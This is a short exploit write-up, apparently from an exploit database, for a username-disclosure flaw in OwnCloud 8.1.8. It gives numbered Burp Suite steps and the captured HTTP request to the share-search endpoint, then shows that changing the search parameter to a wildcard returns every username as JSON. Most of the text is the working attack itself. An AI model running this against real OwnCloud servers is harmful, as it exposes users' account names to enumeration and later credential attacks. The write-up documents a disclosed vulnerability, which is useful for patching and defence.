OwnCloud 8.1.8 - Username Disclosure

# Exploit Title: OwnCloud 8.1.8 - Username Disclosure
# Exploit Author : Daniel Moreno
# Exploit Date: 2019-11-29
# Vendor Homepage :  https://owncloud.org/  
# Link Software :  https://ftp.icm.edu.pl/packages/owncloud/  (old version. Download at your own risk) 
# Tested on OS: CentOS

# PoC:
# 1. Create an account in OwnCloud
# 2. Intercept connection with Burp
# 3. Share a file, typing anything

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4. Burp will capture this request

GET /index.php/core/ajax/share.php?fetch=getShareWith&*search=bla*&limit=200&itemType=file
HTTP/1.1
Host: XXXXXXXXXXXXX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0)
Gecko/20100101 Firefox/70.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
requesttoken: XXXXXXXXXXXXXXXXXXX
OCS-APIREQUEST: true
X-Requested-With: XMLHttpRequest
Connection: close
Referer: https://domain.com/index.php/apps/files/
Cookie: XXXXXXXXXXXXXXXX
---------------------------------------------------------------------

5. Send to Repeater

6. Change GET parameter to THIS:

GET /index.php/core/ajax/share.php?fetch=getShareWith&*search=*&limit=200&itemType=file
HTTP/1.1


7. Return valeus will be a JSON with all username informations